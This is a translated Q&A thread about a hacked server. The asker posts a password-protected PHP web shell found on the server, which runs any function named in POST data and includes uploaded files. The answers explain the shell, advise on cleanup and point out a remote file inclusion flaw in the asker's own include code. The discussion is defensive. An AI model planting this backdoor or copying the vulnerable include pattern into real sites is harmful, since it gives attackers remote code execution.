被黑了!这个PHP代码有什么作用?我应该如何避免?

时间:2013-12-02 15:48:29

标签: php spam

我被黑了,显然他们正在发送垃圾邮件。他们将两个文件注入我的服务器(在所有子目录中都重复)。一个是大量散列的PHP文件,可能是发件人。下面的代码来自另一个文件。

这是我的问题 - 这是完成了什么?我无法翻译它的目的。另外,我该怎么做才能避免再次发生这种情况?

<?php

if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
    die();
@extract($_POST);

if(!empty($a))
    @$a($b);

if(!empty($_FILES['tmp_name']))
    @include($_FILES['tmp_name']);

?>

3 个答案:

答案 0 :(得分:15)

在进一步检查文件之前,立即重命名该文件(除了.php之外的其他文件),因此任何恶意用户都不能再使用它了。

然后调查他们如何在您的服务器上注入此内容。

在访问日志中,您将找到加载该特定PHP文件的页面加载。这将是你的第一个线索。例如,调查来自同一IP地址的其他连接,并查看他们访问/滥用的脚本。在某个地方你可能会发现你有一个过时/易受攻击的wordpress插件,joomla插件等。尽快更新或删除该插件,否则你很快就会被黑客入侵!

同样在检查访问日志时,看看他们是否上传了新的后门!也许你看到一些脚本被不应该存在的同一个IP地址调用。删除/重命名它们!

代码的作用非常简单,但非常先进: 它允许密码持有者执行您能够通过PHP执行的任何代码。高级位是难以检测的。它不使用base64,没有eval等。

修改

idealizm在评论中说:

  

我实际上并没有在这个域上使用Wordpress(或任何其他CMS) - 但我确实有一个index.php文件,它通过包含一个以下划线为前缀的现有文件来处理各种页面的动态创建 - 所以index.php?go = about将包括(“about.php”)。它检查文件是否存在,如果不存在,则仅包括默认文件。我希望这足够安全。这是他们可能利用我的代码的地方吗? `if($ _GET ['go'] ==''){$ go ='videos'; } else {$ go = $ _GET ['go']; } if(!(file_exists(''。$ go。'。php'))){$ go ='videos'; }

是的,可能有你的问题!你说包含的文件以下划线为前缀,但我在你的代码中没有看到...所以,如果黑客进入index.php?go=http://hackerssite.com/hackerscode,你最终会包含http://hackerssite.com/hackerscode.php代码,允许破坏!

删除(并且绝不允许)包含直接用户输入的代码。针对一系列允许的包含网页检查$_GET['go'],或使用switch来呼叫include

答案 1 :(得分:7)

这允许他们运行他们想要的任何功能,并允许他们上传文件并立即将其包含并解析为PHP ...它就像root之后一样接近完全访问权限。这是完整的细分:

  1. 允许被攻击者确保他们是唯一一个能够发起攻击的人(一个简单的密码保护)

    if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a') die();

  2. 将所有POST变量作为自己的变量拉出,然后传入任何函数名称($a)并调用它(传递POST变量$b)。 - 这允许他们运行任何加载的函数(包括exec,如果你的系统允许的话)

    @extract($_POST);
    if(!empty($a)) @$a($b);

  3. 允许攻击者上传文件(任何文件)并将其自动包含在PHP脚本中。

    if(!empty($_FILES['tmp_name'])) @include($_FILES['tmp_name']);

  4. 此外,每个语句前面的@会出现错误,因此如果您正在审核错误,它将不会显示在错误日志中。

答案 2 :(得分:4)

似乎正在执行一个函数,其名称通过$_POST['a']给出,其值为$_POST['b']作为参数,而不是包含通过表单上传的文件。

所以基本上它允许用户在你的服务器上执行PHP文件和函数。

立即删除或重命名此文件 以避免进一步使用。